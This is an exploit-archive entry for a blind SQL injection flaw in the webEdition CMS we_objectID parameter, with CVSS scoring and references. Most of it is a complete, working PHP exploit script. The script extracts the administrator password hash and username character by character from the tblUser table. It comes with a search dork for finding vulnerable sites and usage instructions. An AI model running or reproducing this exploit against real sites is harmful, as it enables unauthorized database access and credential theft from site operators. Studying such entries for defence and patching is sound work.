webEdition CMS (we_objectID) Blind SQL Injection Exploit

2008.09.22
Credit: Lidloses_Auge
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

<?php ini_set("max_execution_time",0); print_r(' ############################################################### # # WebEdition CMS - Blind SQL Injection Exploit # # Vulnerability discovered by: Lidloses_Auge # Exploit coded by: Lidloses_Auge # Special Greetz to: H4x0r007 (who sent me a vulnerable Page) # Greetz to: -=Player=- , Suicide, g4ms3, enco, # GPM, Free-Hack, Ciphercrew, h4ck-y0u # Date: 20.08.2008 # ############################################################### # # Dork: inurl:we_objectID= # Admin Panel: [Target]/webEdition/ # Usage: php '.$argv[0].' [Target] [Userid] # Example for http://www.site.com/en/****.php?we_objectID=21 # => php '.$argv[0].' http://www.site.com/en/****.php?we_objectID=21 1 # ############################################################### '); if ($argc > 1) { $url = $argv[1]; if ($argc < 3) { $userid = 1; } else { $userid = $argv[2]; } $r = strlen(file_get_contents($url."'and+1=1/*")); echo "\nExploiting:\n"; $w = strlen(file_get_contents($url."'and+1=0/*")); $t = abs((100-($w/$r*100))); echo "Password: "; for ($j = 1; $j <= 32; $j++) { for ($i = 46; $i <= 102; $i=$i+2) { if ($i == 60) { $i = 98; } $laenge = strlen(file_get_contents($url."'and+ascii(substring((select+passwd+from+tblUser+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i."/*")); if (abs((100-($laenge/$r*100))) > $t-1) { $laenge = strlen(file_get_contents($url."'and+ascii(substring((select+passwd+from+tblUser+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1)."/*")); if (abs((100-($laenge/$r*100))) > $t-1) { echo chr($i-1); } else { echo chr($i); } $i = 102; } } } echo "\nUsername: "; for ($i=1; $i <= 30; $i++) { $laenge = strlen(file_get_contents($url."'and+ascii(substring((select+username+from+tblUser+where+id=".$userid."+limit+0,1),".$i.",1))!=0/*")); if (abs((100-($laenge/$r*100))) > $t-1) { $count = $i; $i = 30; } } for ($j = 1; $j < $count; $j++) { for ($i = 46; $i <= 122; $i=$i+2) { if ($i == 60) { $i = 98; } $laenge = strlen(file_get_contents($url."'and+ascii(substring((select+username+from+tblUser+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i."/*")); if (abs((100-($laenge/$r*100))) > $t-1) { $laenge = strlen(file_get_contents($url."'and+ascii(substring((select+username+from+tblUser+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1)."/*")); if (abs((100-($laenge/$r*100))) > $t-1) { echo chr($i-1); } else { echo chr($i); } $i = 122; } } } } else { echo "\nExploiting failed: Not enough arguments?\n"; } ?>

References:

http://xforce.iss.net/xforce/xfdb/44577
http://www.securityfocus.com/bid/30778
http://www.milw0rm.com/exploits/6281


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